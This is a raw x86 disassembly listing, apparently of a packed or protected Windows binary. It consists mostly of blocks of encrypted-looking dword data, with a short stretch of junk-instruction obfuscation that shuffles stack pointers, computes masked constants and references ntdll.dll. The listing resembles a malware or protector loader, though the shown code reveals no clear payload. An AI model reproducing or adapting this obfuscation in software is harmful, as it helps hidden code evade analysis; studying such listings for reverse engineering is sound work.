		dd 0AA8EE2D8h, 0C233BD34h, 0DC3084B1h, 7A75CC32h, 6DD5DE82h
		dd 20CA2E15h, 0F305AFF5h, 381C70C4h, 65DB280Eh,	9D4150BDh
		dd 0AD5BBF8Ah, 11F78811h, 0CCD4CB4h, 25374005h,	3Eh, 0C58125B7h
		dd 4AC0941Dh, 40A493E5h, 0A6FB0A6h, 50BD9375h, 0B990E34Bh
		dd 91ACF445h, 0AD3FE92Dh, 941D4D39h, 6F8C2C3h, 0D7DE47BDh
		dd 1DEC980Ch, 1F63C394h, 857B453Bh, 32C8h, 0A6F5000h, 0A855E775h
		dd 0BA9E625Fh, 941DDEAAh, 0BF6951C3h, 5D29BD59h, 7EC3941Dh
		dd 0C74B8691h, 0BDC9AF83h, 6FD7DE47h, 4479BE16h, 44B89CF0h
		dd 0C8857BE2h, 0FFFFFF19h, 0EF1EBD50h, 4BFA573h, 0BF033E4Bh
		dd 8F96675Bh, 6CB994B2h, 0EB3CED51h, 435905DEh,	37BA3238h
		dd 65BD9F7Ch, 88526FB8h, 61426064h, 7593E73Ah, 1BEAC96h
		dd 62CE86D6h, 0E3388138h, 0F8166ADEh, 5D95CA10h, 8EFA7239h
		dd 13A612Ah, 18E51E39h,	1272022Ch, 0C73A6109h, 1138D0DDh
		dd 382C3521h, 50h, 4150BDC4h, 1D1276FEh, 0AD95C394h, 7D1F9F49h
		dd 75EA74E6h, 659E1B1Eh, 0F282AC36h, 0BD9FF743h, 0C262D62Ch
		dd 3A61D582h, 75D9F003h, 0FC407184h, 7D119C96h,	47CDD8D8h
		dd 0C7BA018h, 0E20CF4E5h, 3608D178h, 0F63EEF2Ch, 0ACA831DFh
		dd 0B4000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh,	0A9FF67B0h
		dd 4D62A9Eh, 941DE4E0h,	33176BC3h, 1982BE20h, 8E9BC394h
		dd 3247A0B3h, 217BB307h, 6B4F7A8Fh, 0D6846D81h,	1794260h
		dd 63F884D2h, 629475F9h, 0EA74446Dh, 73280642h,	97B18930h
		dd 6D9842B8h, 0DACB2817h, 28156AC6h, 0F7073B34h, 262C8C6Ah
		dd 2A161h, 0D0EF3B00h, 0A693E203h, 84150BDh, 0DDE43AEBh
		dd 0AC93E906h, 2D900B7h
		dd 0F31CC7FEh, 0A34C97AAh, 0CF97A55h, 0E415CEFBh, 33E4E004h
		dd 9C6BC585h, 0FBDADE24h, 0B47F8471h, 941D5430h, 83E7DBC3h
		dd 10658265h, 6FC63E25h, 40E4760Dh, 0BD9F05D1h,	7F6645Eh
		dd 1A7EC2FDh, 0BCCC64ECh, 693A60CBh, 0A436BA4Bh, 60CB4400h
		dd 59F7CB3Ah, 35C746E7h, 0F5632Ch, 0DE8D0000h, 0A514F8D5h
		dd 549C605Fh, 0C3941978h, 5399B4C1h, 0F51809ECh, 0E327ABA6h
		dd 9BD65C54h, 81D8A6Dh,	0D4B02F3Dh, 59641080h, 85E56D9Bh
		dd 90AFF9F7h, 0D731AEBCh, 0E886D543h, 0E677DE26h, 0A498C381h
		dd 0A54CE08Ah, 1A426040h, 0B7FE66B5h, 0FED2369Ah, 7F1D599Ah
		dd 0ECFE76E4h, 7F446DDAh, 0C0B4898Eh, 1D42A88Ch, 15413C4Bh
		dd 30BA5446h, 5A80BFC5h, 996D5CABh, 64E8E130h, 4122CC20h
		dd 5531B5C7h, 0DA3072F9h, 0BDC746E0h, 0DF330E17h, 6B47E410h
		dd 583F0B8Ch, 192h, 72E1D82Ah, 0ACB78295h, 0DA193043h
		dd 75EED52Dh, 0A6BD8098h, 0EF35C81Fh, 9DE203D0h, 4252B3A0h
		dd 0EA3FE80Bh, 75F704DFh, 853295F1h, 35AB1AC5h,	98A31EBDh
		dd 88F49014h, 77BC394h,	0BC403DF8h, 5E61BB92h, 5D2F8Ch
		dd 0FA267B57h, 297AAB4Ch, 560642EAh, 0B189C394h, 0DE7E865Dh
		dd 0A514F8D5h, 48F76550h, 989EA236h, 0BE39D747h, 84719CE0h
		dd 0C682427Fh, 49C39438h, 90CF1D71h, 3E2E6C96h,	0E983AD03h
		dd 2D59CD5Fh, 0A2C3941Bh, 95A8F158h, 0B343ED21h, 0BD9EFE2Eh
		dd 0C4313B1Fh, 88FC70B3h, 1F3A60FCh, 0F31CC73Bh, 3741ABA6h
		dd 60FCCBBFh, 0C8665C3Ah, 39542840h, 60FCD1B5h,	86C563Ah
		dd 0C8D94AE2h, 28124471h, 6E601FDFh, 8146CC8Ch,	0BEh, 2E350C16h
		dd 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h,	1B61FCE3h
		dd 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h,	852DF98Dh
		dd 19FF4EC5h, 0E4760D6Fh, 85263B40h, 0FA4EB4BDh, 3A4EE670h
		dd 8D3A7AF4h, 61B29BB5h, 0F0748654h, 3A7AF494h,	6E09271Bh
		dd 0D7EA33E2h, 0F6C3D439h, 6AE3802h, 3A7AF442h,	0C042FDC5h
		dd 63B61CD8h, 9343133Dh, 8BB57CA3h, 6954AC59h, 90CF7AE5h
		dd 9F2150DDh, 0F7CED2BBh, 0A94E5F59h, 15F2615Ch, 0B8273500h
		dd 0E47C5030h, 0D05237Bh, 8B7F465Ch, 729B2A6Eh,	0DECF1421h
		dd 0B4AF23D5h, 89D8ACC0h, 6BAF4173h, 67D808ACh,	3D8BF03h
		dd 60000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 50CF7BCFh, 4055854h,	83000000h, 48704E8h, 0DB685C24h
		dd 89000029h, 3368241Ch, 8900005Eh, 0EC812414h,	4, 0B8240489h
		dd 3C640977h, 14439705h, 5ACC3577h, 0C389B569h,	148B5458h
		dd 4C48324h, 0F2BB5350h, 0B8738D4Dh, 738D4DFAh,	15BD829h
		dd 581889D0h, 5A2434FFh, 0FF04C483h, 815B2434h,	4C4h, 4D21E900h
		dd 0D30DFFFAh, 10296676h, 0CDB944CBh, 0ABB8F4F0h, 3061131h
		dd 85C650C5h, 60B2845h,	17256847h, 0B5FFCF38h, 60B0B01h
		dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60B24BDh, 1046850h
		dd 0D3FF0000h, 284585C6h, 6853060Bh, 8307F8BFh,	0B01B5FFh
		dd 858D060Bh, 60B390Dh,	8589D0FFh, 61115A3h, 2715BD83h
		dd 0F00060Bh, 0B84h, 0A59D8B00h, 0E9060B21h, 5,	0BBh, 1006800h
		dd 0B58D0000h, 61115A7h, 95FF5356h, 60B0071h, 15A7B58Dh
		dd 0F0030611h, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 1115A785h, 95FF5006h,	61115A3h
		dd 4BE0FF58h, 907E8661h, 0EC2A9EAAh, 1F4EB405h,	0A249F462h
		dd 0D9526194h, 0D02E5206h, 954CA4F4h, 0DB0F423Ch, 8D455103h
		dd 8D13E367h, 1133738Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0E9FD14Ch, 0CB816602h
		dd 8D89CC23h, 60B174Dh,	8A5B529h, 85C7060Bh, 60B0119h
		dd 60F4h, 4860Fh, 0BF660000h, 85C74AFCh, 60B1009h, 0
		dd 0EA8DE081h, 0B5FF20D1h, 60B1ADDh, 0CB8CE881h, 95FF2EBFh
		dd 60B0AC5h, 95FF006Ah,	60B32DDh, 2FEBC08Bh, 0FFA63F3Ch
		dd 0F8407E56h, 6AEEACA2h, 5E8C46B7h, 447F7BB2h,	887ECE7Dh
		dd 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h, 0B9040A6h
		dd 0E8CE248Eh, 0Ah, 0D1503E8Eh,	7631F31Bh, 0C08134C4h
		dd 3C227977h, 0CAC8815Bh, 816A4659h, 724AC3h, 0F5C93300h
		dd 810B3C8Bh, 57E8ED0h,	8F78131h, 662E8D43h, 103FC081h
		dd 8CDDF781h, 81666B3Dh, 81EB6FE8h, 0A6FF4FF7h,	71B53149h
		dd 89060B06h, 8A0F0B3Ch, 8, 0D1858960h,	61060B0Ah, 81D38B66h
		dd 0B873B1E9h, 0C181FC10h, 10B873ADh, 68F981F8h, 0FFFFF8Eh
		dd 1E85h, 0C0B85300h, 5825C397h, 31E9h,	0E4914A00h, 2DA9DA9Dh
		dd 75278022h, 0F52F6BACh, 0F14C3F5h, 382h, 5AF85100h, 0FFFF7BE9h
		dd 11F616FFh, 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h, 10E8D85Bh
		dd 37000000h, 41B011A0h, 77DF2173h, 82F3D63Dh, 8947DF71h
		dd 0B03D58Dh, 81665806h, 8178BDDAh, 6F33C0h, 9D8D8900h
		dd 2B060B0Fh, 11E960FFh, 0A000000h, 7AC51402h, 5256ABE6h
		dd 0CD5499C9h, 0E67762DDh, 27D1952Bh, 8B61060Bh, 0C381381Ch
		dd 1AA16DBBh, 0EB81F78Bh, 557E9913h, 14E9h, 0B8B7C00h
		dd 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h, 0BEC38166h
		dd 0F5A4B2Ch, 18Ah, 1C89F800h, 57D28138h, 890E8F13h, 0B0D3D85h
		dd 4EF8306h, 7CFF81F5h,	0FFFFF91h, 0FFFFAA85h, 10E9FFh
		dd 912E0000h, 3A4B9540h, 0CA37D555h, 0C2241F1h,	0CE89F28h
		dd 0AC000000h, 0A607B0Dh, 37651E4Eh, 8946AC5Ah,	0B151DB5h
		dd 0B8605A06h, 14346EA7h, 16AD9589h, 8161060Bh,	6BD6C2h
		dd 1FC88100h, 0BB6B495Fh, 1AC4h, 318D8B60h, 89060B00h
		dd 0B2E6595h, 0A8B6106h, 47A2DB8h, 95E98140h, 606C5669h
		dd 0AB1B58Bh, 61F5060Bh, 6AB2F181h, 0BD8937D4h,	60B1631h
		dd 0AFA0C181h, 85290753h, 60B328Dh, 71BD8951h, 8F060B2Ah
		dd 199D0902h, 83060B06h, 8B6604EAh, 1EB81C1h, 0F000000h
		dd 1A85h, 0FA8B6600h, 34E9h, 547B1100h,	0CA5300B7h, 6DCBB785h
		dd 7BCFFFD5h, 602453BAh, 0BA19529h, 0BD31060Bh,	60B22FDh
		dd 0FF84E961h, 39DDFFFFh, 0FEC251DBh, 86D6B6EAh, 97C1AD84h
		dd 0BF8D8DF3h, 6A061136h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2AC5C352h, 3DB589E5h
		dd 89060B33h, 0B174D8Dh, 0DE806h, 0A1380000h, 0A8040540h
		dd 0D04842F9h, 8BA9C22Ah, 0B080985h, 0BD8B5E06h, 60B025Dh
		dd 11985C7h, 6410060Bh,	858B0000h, 60B0739h, 3F63B7BAh
		dd 985C71Bh, 60B10h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E893C357h,	11h, 2EFFEEBBh
		dd 633A612Dh, 371244CEh, 39F19231h, 9ABF66C7h, 0B5FF5ABCh
		dd 60B2355h, 2C90BF60h,	8E82B71h, 9D000000h, 34C82D1Fh
		dd 80968DBEh, 6159CFE4h, 0AC595FFh, 958B060Bh, 60B1169h
		dd 95FF006Ah, 60B32DDh,	0FEBC08Bh, 5B603283h, 1E30AAB9h
		dd 3C270157h, 0EB7DADC8h, 0B61B9026h, 8EAFEC33h, 64746E55h
		dd 642E6C6Ch, 88006C6Ch, 34074621h, 55A3D25Dh, 50EF50h
		dd 0
		dd 0E9000000h, 687h, 11385768h,	482DE906h, 0F668FFFAh
		dd 0E9061138h, 0FFFA4823h, 1139BD68h, 4819E906h, 5D68FFFAh
		dd 0E906113Ah, 0FFFA480Fh, 113B5868h, 4805E906h, 768FFFAh
		dd 0E906113Ch, 0FFFA47FBh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh
		dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h
		dd 0A2F710C3h, 0ADBF4C97h, 852A4D39h, 8D73C2C5h, 3AC8h
		dd 0D5DE5000h, 1DE2E60Eh, 1D65C394h, 518C3339h,	0C5D7635Ch
		dd 0C208002Eh, 0BE483CB0h, 0FBDFC394h, 9AB7C04Dh, 615CA550h
		dd 0D48FB99Dh, 94BE0242h, 5A7583C3h, 999E0F99h,	6F948AA4h
		dd 40E4760Dh, 0BD9EFD91h, 9050241Eh, 3A60C3F0h,	3046B725h
		dd 0AF59BD01h, 0E900F8F5h, 0C02C35CEh, 238h, 3632462Ch
		dd 0E70FDD66h, 0BD9F05A2h, 5C28BCCEh, 0D33A60C5h, 0EC241EFh
		dd 60C5E2E6h, 0E0E4083Ah, 673A60C5h, 7A5EA413h,	0D52ADB05h
		dd 62064E8h, 4EAF3F7Eh,	0D66D0F06h, 0D445FA04h,	0E904F890h
		dd 0E809DD0Bh, 4588589Dh, 0B91897Dh, 0E358EA70h, 81D186F3h
		dd 0BE46E044h, 922216D6h, 1A8B51A9h, 615CA909h,	0D94DDF0Dh
		dd 0EA395AADh, 0C2862E22h, 45EA395Ah, 74EF197Dh, 0B4B38E9Bh
		dd 56A587F2h, 944E0101h, 89000004h, 709D467Dh, 0DECF1425h
		dd 8865FED3h, 77904372h, 72C1122Dh, 0B588906Bh,	53841AEh
		dd 0E8E731DEh, 0BC899A0Bh, 1E965AA7h, 0C585256Ah, 0DE960EFDh
		dd 0E2E60ED5h, 65C3941Dh, 5555391Dh, 862E3C47h,	0BD9F1CF3h
		dd 0A0D50E74h, 0BBC0DC18h, 0FA083DB1h, 0D31D446Bh, 7DCB2F5Bh
		dd 665AA030h, 431EC501h, 4C50DFE0h, 50812537h, 0DDE6D2E0h
		dd 831911E5h, 92FA72F8h, 6DE8D92Eh, 31B5C715h, 8CA66255h
		dd 0A657E0DAh, 10C10EF9h, 816CFE28h, 6D9A5974h,	86222D18h
		dd 7D311FDAh, 3F53295h,	0DE280000h, 84937CE7h, 3241AEB5h
		dd 0D32BC41Fh, 829677ECh, 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h
		dd 0EA094450h, 6DDE83Dh, 8BFF77F5h, 1CC58525h, 0D5DE37ADh
		dd 881414F8h, 68BC69F3h, 7B95E95Dh, 51D567F1h, 0C3941D35h
		dd 1D2B5FD7h, 46BCC394h, 9F6781F9h, 0BD9F2A6Eh,	16ED40FFh
		dd 0E9E38AA7h, 6C306EF5h, 3CE105D7h, 5C44714Bh,	0E56964B1h
		dd 0F1CCD8A1h, 201FC90Dh, 90E510DAh, 4451BEA5h,	0A8C40CD2h
		dd 0E70F199Ah, 3077EEE3h, 303A1E64h, 77EEC8BCh,	77B5F30h
		dd 0A7234BD5h, 283077EEh, 0DCDC34D2h, 3DB1BBC0h, 4E7CFE88h
		dd 0F2EC539Dh, 958EC247h, 0A9691DD5h, 84FE2E4Ch, 1AEBA7A0h
		dd 1AE8927Ah, 32EA5h, 38176300h, 8EBBCA3Bh, 5069B855h
		dd 251C6283h, 0F4CBD13Eh, 6A81E86Fh, 0DB342F16h, 8B64FFC2h
		dd 7491427Dh, 3CCD1623h, 24CCB82Ch, 0F443C585h,	0F8D5DE0Ch
		dd 0F3881414h, 0E72EDF69h, 29A83CEAh, 6BD9F26h,	99D0273Ch
		dd 78000001h, 0CE991EBDh, 0EC8D850Bh, 0C24C5342h, 0B4F9209Dh
		dd 0ABFD2331h, 0F0D4289Ch, 2D364656h, 0E92B73Fh, 0AF93BD9Fh
		dd 0AB8EBE48h, 5E3E375Ch, 0BA9F17C5h, 8BB928C0h, 0D1ABC3B7h
		dd 640CA04Ah, 0DB43350Bh, 7F8875E7h, 23749142h,	6FABD916h
		dd 927087B4h, 28E3Dh, 58778300h, 2E1B6A9Bh, 0F0C9D835h
		dd 457C8263h, 142B719Eh, 8A6188CFh, 7B944F76h, 2BC41F22h
		dd 9471E2DDh, 5CADB683h, 276C188Ch, 14E3C585h, 0F81EBDACh
		dd 196D81B4h, 0EEC394A9h, 0EB7B6B94h, 8C997492h, 0CFADCDB1h
		dd 8A14A6B4h, 4A3E011Bh, 7C8AFE76h, 251DC394h, 7D3E7B0Bh
		dd 4B8FBD9Fh, 85D7E7A8h, 0FFE6CF7h, 77BCFFAh, 7D3551D5h
		dd 40BA3A61h, 65A0C4A6h, 0EA446A65h, 25BACE66h,	0C30D307Eh
		dd 7E25DFABh, 766A5030h, 250440E4h, 0B78B307Eh,	66F07C53h
		dd 7E25BACEh, 1B350D30h, 9F7C1C4Bh, 0F18A12C5h,	63D6C36Bh
		dd 9557D897h, 69217511h, 0AC80FA9Dh, 522E01BEh,	56E1DC28h
		dd 6C9A8A5Bh, 0B8F884E4h, 20699F43h, 0F588B74Fh, 0B0D4DFCAh
		dd 0C02D3F13h, 866886BBh, 4D708974h, 67ABD3A3h,	3E04E364h
		dd 99B4C12Ch, 6D58AD5Ah, 6393ECE2h, 542B1F27h, 193h, 9E457C86h
		dd 0C82B2671h, 66FDCCDFh, 91427189h, 0C2112C74h, 8B916C73h
		dd 397EAFB4h, 0E62EDF04h, 8E9B74EFh, 915BA0B3h,	8526691Dh
		dd 0A90FFEC5h, 14F8D5DEh, 0D8288814h, 0BA07E4ABh, 7CF07A5Eh
		dd 0BD9F818Dh, 0DD3B3802h, 0E4760D6Fh, 85062740h, 8852A8BDh
		dd 5DA8081Dh, 40A4986Ch, 90E41193h, 53FDD1A5h, 289CA9FAh
		dd 0FC02ACF0h, 391D71C5h, 0CF1EBB33h, 2B6F446Bh, 90E59AC1h
		dd 2129C2CFh, 6FB86507h, 13648152h, 53885226h, 0CF6C8B50h
		dd 0B4082660h, 658953E8h, 4E42B208h, 3F45B0h, 0D61169E6h
		dd 9280289Ah, 0E41EF151h, 0D9000000h, 806DF6CDh, 6E9F4475h
		dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh
		dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C58521BAh, 6FC6BE0Dh
		dd 77E4760Dh, 9066DD3Eh, 0AF41EF8Fh, 85DB6807h,	14F9BDh
		dd 9A0BD135h, 0F0D4B885h, 0FE0BF256h, 279410C3h, 0C98FA605h
		dd 6FEFE3ACh, 0CB2CC976h, 5FA8A543h, 0B569E62h,	0B297865Bh
		dd 5AE05461h, 6531B6D2h, 78C13961h, 0B2AF1322h,	0AB9BF7F6h
		dd 7A8F7471h, 2E7B944Fh, 63477E86h, 83C76FF9h, 4616531h
		dd 0CCB82C3Eh, 43616531h, 0F379D17Fh, 77DBF202h, 218F513h
		dd 1ED24F33h, 316C188Ch, 9FE36165h, 51B63771h, 3DEA0944h
		dd 9E0FDDE8h, 0F2D6BA97h, 181BFC54h, 0A5000000h, 0D8431EBDh
		dd 0E24EAB99h, 24D19344h, 3F13E7DEh, 0BA0E434Eh, 0DEB2A846h
		dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
		dd 2EB5F66h, 8871C5FCh,	0DFC4079h, 0CF7BCFFAh, 34CB68h
		dd 242C8900h, 54CE68h, 240C8900h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 50243C89h, 11373CB8h, 8BC18906h, 0C4832404h
		dd 3C8B5404h, 4C48124h,	56000000h, 8950CE89h, 84789F0h
		dd 34FF5E58h, 0C4835F24h, 240C8B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFA41BFh, 0B3120845h, 5A9E9F21h
		dd 318D9B3Dh, 0B8A2F948h, 6113D10h, 0E0FFC503h,	7283ACF8h
		dd 276FA485h, 482B55FDh, 5BA38797h, 7957A13Fh, 55BEBD2Bh
		dd 12E8h, 3F023700h, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh
		dd 0BAB01C43h, 185623Ah, 0A0D28058h, 71DAC081h,	0CD800000h
		dd 1C4268F1h, 5BF50000h, 0FC8086BAh, 0E830FF3Ah, 6, 0FB3F67CBh
		dd 5F5AE578h, 1AD28160h, 8B2B286Dh, 0F78161CFh,	5C741F5Dh
		dd 81D2CD80h, 64A797C7h, 9FF78101h, 0F82AC701h,	0FE83889h
		dd 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h,	0F18B77A1h
		dd 7E88159h, 663DDD15h,	0C081D68Bh, 3DDD1503h, 9E8h, 0D8FD4C00h
		dd 0A0E1F16Ah, 0E960C69Bh, 0Ah,	0DDEE4940h, 0FA36E745h
		dd 8FB9BE58h, 61012E42h, 1EB8359h, 11850Fh, 1CE90000h
		dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F82D593Bh, 0FFFF64E9h
		dd 0B97275FFh, 0C4FDA033h, 0EBAC4235h, 8, 0F0702B00h, 4BAE978h
		dd 0AB680000h, 0E906113Fh, 0FFFA409Bh, 11403768h, 4091E906h
		dd 6668FFFAh, 0E9061141h, 0FFFA4087h, 362D246Eh, 60F3CED9h
		dd 9E457487h, 0C92A2971h, 7AF9C4DCh, 237994DBh,	0D126C71Ch
		dd 8E9677ECh, 3643ACB7h, 3933D81Bh, 8523D1B5h, 71E756C5h
		dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 7585D10Eh,	0EE292471h
		dd 0C5B4BA1Dh
		dd 9A6A84B3h, 0BD9F8F1Bh, 0CA1AEED4h, 3A61BCBAh, 6ED2ED3Bh
		dd 5A96ABFh, 3A61BC41h,	3498FCC6h, 7A8B09h, 0C236B7EDh
		dd 2C36922Bh, 30106h, 2D46EE00h, 0AD06B31h, 0CEB28D9Bh
		dd 1A925C8Ah, 0BD9F052Fh, 9384F20h, 0A3F84185h,	8145BA9Eh
		dd 3F046178h, 64BC324Ah, 0AAA7F059h, 4100A4B6h,	0A3411055h
		dd 0F8162372h, 0AB35271Bh, 107B4703h, 4501A535h, 0CA35107Bh
		dd 153307F0h, 849FFD3Dh, 70A3DE56h, 5B344B1Bh, 47EF7D4Ch
		dd 33ED3003h, 905ABE84h, 0B28D9706h, 1592AF85h,	0B2586BEh
		dd 1FC4F102h, 5FA8A5EEh, 8FD95071h, 0E42BEC66h,	75000002h
		dd 0DCC92A21h, 8A7BF8C9h, 7491427Fh, 23CC172Eh,	0C67DE6D9h
		dd 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h
		dd 0C58522DEh, 0BD7AE251h, 8FDAEA1Eh, 94776367h, 619EE4C3h
		dd 0E4554E16h, 0FFD3A79Eh, 812F4D51h, 6BBD5A79h, 0E9282103h
		dd 1D915BBFh, 0BD8566E8h, 26D7057Dh, 133438D2h,	0F5037660h
		dd 5FA54291h, 0B549C60h, 0D13C842Ah, 785B2F47h,	432C3A7Bh
		dd 523073Ah, 5C2FF08h, 866373D5h, 5843040Eh, 0E9000002h
		dd 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h,	52E1724Dh
		dd 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh,	3EB6BA47h
		dd 0C5855D4Ah, 6FF66EDDh, 40E4760Dh, 0BD850E85h, 0FE4C300Ah
		dd 44C8F70Fh, 6E1EE600h, 0BB3A7ADCh, 0F514ECF9h, 0DC2C2ECDh
		dd 19Eh, 0F8D5DE38h, 6550A514h,	47DCA0FEh, 198C1195h, 82A1BD9Fh
		dd 218D970Fh, 0F3CEDD3Dh, 0F3D7CB0Fh, 0F4A7270Fh, 26723A60h
		dd 0F5BC6DA7h, 43952C34h, 73000000h, 9D4150BDh,	0F5C9BD88h
		dd 55277791h, 29881CCEh, 6BD9F05h, 1382483Ch, 0F43370Ah
		dd 0AA4479BEh, 60CBAADAh, 0A8257F3Ah, 35C6B950h, 0BA902Ch
		dd 0FE080000h, 79CDFC0Fh, 0C7B9CD05h, 340E3A60h, 50BD241Ah
		dd 43870B4Ah, 1D711599h, 8CF6C394h, 0A39EEB62h,	3DAE0DDFh
		dd 2684FDAh, 9CE46987h,	8529BBA1h, 0C39436C1h, 7ED27C46h
		dd 0CFDA7A8Fh, 0D6CA0EF2h, 0C66EBB62h, 0DF3387BEh, 48F678FBh
		dd 35C39433h, 500ED5E0h, 8125374Ch, 0BD99AA46h,	0BC69F3C7h
		dd 6D9A5964h, 2DDF2817h, 0D2866060h, 1299F70h, 6EB80000h
		dd 14638C57h, 0C2D13E25h, 63BB548Fh, 1266875Ch,	5A813023h
		dd 9D467983h, 0CD162B70h, 7AF9D420h, 964D788Dh,	1B6F8765h
		dd 0ECC5855Ch, 0DADEA71Dh, 1DED990Dh, 1862C394h, 0BEC73624h
		dd 65826583h, 0C63E2510h, 0D223D5DEh, 0A065F264h, 6DDCA084h
		dd 803F2D18h, 0C21CF7C0h, 7E4B5C7Bh, 0B452B68Ah, 3F44B133h
		dd 0C4D8E402h, 9E39ADBFh, 0EFBD9E73h, 455441ABh, 3A4EE674h
		dd 8D3A6159h, 47D19BB5h, 83774E56h, 54ACA14Fh, 64648A69h
		dd 0E53A6159h, 32BEA590h, 672B938Dh, 0A5192611h, 0D33AD428h
		dd 3802F6C9h, 3B8FBACDh, 783229C7h, 2E000000h, 347C089Ch
		dd 169E3A61h, 3A613472h, 0C8328DF5h, 0D6F381Eh,	8940E476h
		dd 6BD850Eh, 94E1483Ch,	3C42B3B9h, 9F08EB05h, 1BCBBF8Ah
		dd 0BF9BCAE5h, 0D53ACBE1h, 0E26EF5C0h, 90A8DC50h, 0DB3FB899h
		dd 0FAD7202Dh, 605FA716h, 0EED52D9Ch, 6960B31Ah, 7677ADE5h
		dd 2ABBF904h, 5E85B0C5h, 55B264B1h, 0A2166FA9h,	42A69BE0h
		dd 0A5509A6Eh, 52C96752h, 3, 0DE9C84FAh, 0A009FDD4h, 27967A57h
		dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h,	8871C5FCh
		dd 0DFC4079h, 0CF7BCFFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4BEFh
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	17E45C15h
		pop	esi
		shl	esi, 4
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 5D9E1F5Fh
		xor	esi, 220D21E0h
		mov	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
aSFh		db 8,'‘šŢĆäH˛ľ˛',0
		db 0C4h
		dd 1142B4B8h, 0FFC50306h, 0C318FEE0h, 843E4D36h, 0ADBEBE71h
		dd 42D7646Dh, 0D1F3161Fh, 45E55E6Fh, 9E87144Fh,	0EE847138h
		dd 0FDD5393Fh, 37034705h, 3016B80Bh, 0D5096829h, 0B083F25Eh
		dd 0A2F23D43h, 73A374h,	7A92D019h, 256FF21h, 0A3865028h
		dd 981A837h, 1E84B509h,	358D8D54h, 6A061144h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0B41FC356h, 9C73346h, 0B1E9585h, 4D8D8906h, 8B060B17h
		dd 0B33A995h, 1985C706h, 24060B01h, 8B000064h, 985C7F3h
		dd 60B10h, 60000000h, 12E9h, 932C200h, 32FC3777h, 2D276873h
		dd 1BEE5FE0h, 893751D6h, 0B2735BDh, 0B5FF6106h,	60B1A31h
		dd 58F0FFCh, 66000000h,	5AA1F381h, 0AC595FFh, 0BA66060Bh
		dd 6A564Ch, 32DD95FFh, 0C08B060Bh, 0B5CB5DEBh, 0D7E21451h
		dd 5F4F2183h, 33005787h, 0B1C53559h, 0B03E0E1h,	652E2753h
		dd 0C29642C7h, 0FD72F1DDh, 1DBF5B6Eh, 44CA1022h, 627C48DEh
		dd 70DB12A0h, 34796580h, 893C76F9h, 33F1AC7Bh, 0B9C5ED78h
		dd 0E83AC46Ch, 3C98E737h, 209FE34Bh, 5AFFFA67h,	0BF28ACE4h
		dd 0EA6F8B00h, 0E8BF590Dh, 0Dh,	876A9EEFh, 0C82303F8h
		dd 0A45F76DAh, 0A9BD29B8h, 5A060B1Fh, 0C281DF8Bh, 6C05h
		dd 5479F5B9h, 24E9817Dh, 0FF7D545Fh, 5BD8B32h, 5E060B15h
		dd 3C98D89h, 0F681060Bh, 32CEB760h, 0E3E38166h,	3C68113h
		dd 6056105Ah, 1A958D89h, 0BD2B060Bh, 60B03A9h, 8BC68161h
		dd 562511E9h, 234D858Bh, 895F060Bh, 10E932h, 40C90000h
		dd 98BA1E9Dh, 1E57B599h, 7FE56F4Ch, 0EA83108Eh,	2890F01h
		dd 0B7000000h, 4A4A4AB1h, 850F49F5h, 1Dh, 850Fh, 2AE90000h
		dd 0EF000000h, 0B8DA54Dh, 1620A875h, 1177682h, 2FF2F2E7h
		dd 4D8D0152h, 0E9060B06h, 0FFFFFF6Fh, 0DB36965Eh, 93804E94h
		dd 57B7B163h, 6A8D8DF0h, 6A061146h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C02C350h
